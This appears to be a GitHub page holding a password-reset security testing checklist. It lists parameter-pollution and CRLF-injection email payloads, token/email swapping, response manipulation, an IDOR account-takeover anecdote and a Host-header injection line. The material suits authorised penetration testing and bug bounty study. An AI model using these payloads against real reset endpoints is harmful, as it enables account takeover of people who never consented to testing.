Skip to content

Latest commit

 

History

History
154 lines (125 loc) · 7.41 KB

File metadata and controls

154 lines (125 loc) · 7.41 KB
description Password Reset Security testing Checklist

Reset Password

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
#No domain:
email=victim
#No TLD (Top Level Domain):
email=victim@xyz
#change param case 
email=victim@mail.com&Email=attacker@mail.com
email@email.com,victim@hack.secry  
email@email“,”victim@hack.secry  
email@email.com:victim@hack.secry  
email@email.com%0d%0avictim@hack.secry  
%0d%0avictim@hack.secry  
%0avictim@hack.secry  
victim@hack.secry%0d%0a  
victim@hack.secry%0a  
victim@hack.secry%0d  
victim@hack.secry%00  
victim@hack.secry{{}}
step 1: Attacker Enter the victim's email or mobile number into the forgot password field.
step 2: Attacker intercept the request and got JSON data like that

{“email”:”victim@gmail.com”,”token”:”1234"}
step 3: Attacker change victim email to his email id

{“email”:”attacker@gmail.com”,”token”:”1234"}
and forward the request.

*Notice on the old token is deactivated or not.
  • Response Manipulation to ATO

    1. Do Normal Reset Password Process and note the successful  response 
    2. Request for reset password token 
    3. enter 00000 or any random number 
    4. Intercept the response
    5. delete error message and change the status code to 200 and change body like what you noted in step1
  • IDOR to ATO

IDOR on Reset Password

The last one was also an Basic IDOR, When I requested for reset password then the request response looks like this

https://miro.medium.com/v2/1*7GQ1sbFDEllEY1kpQodGoA.jpeg

Then OTP came to my email and I entered the OTP but when I entered new password and captured that request

https://miro.medium.com/v2/1*Vk7-7Tdd_bFmWAul2_BsSQ.jpeg

Then I noticed there was no OTP field, but there was a user id, which was encrypted but was being leaked in the response, so I just replaced it with the user id of another account, and bam, my other account’s password was changed.

{% embed url="https://shahjerry33.medium.com/duplicate-registration-the-twinning-twins-883dfee59eaf" %}

  • CRLF in URL

    with CLRF: /resetPassword?0a%0dHost:atracker.tld (x-host, true-client-ip, x-forwarded...)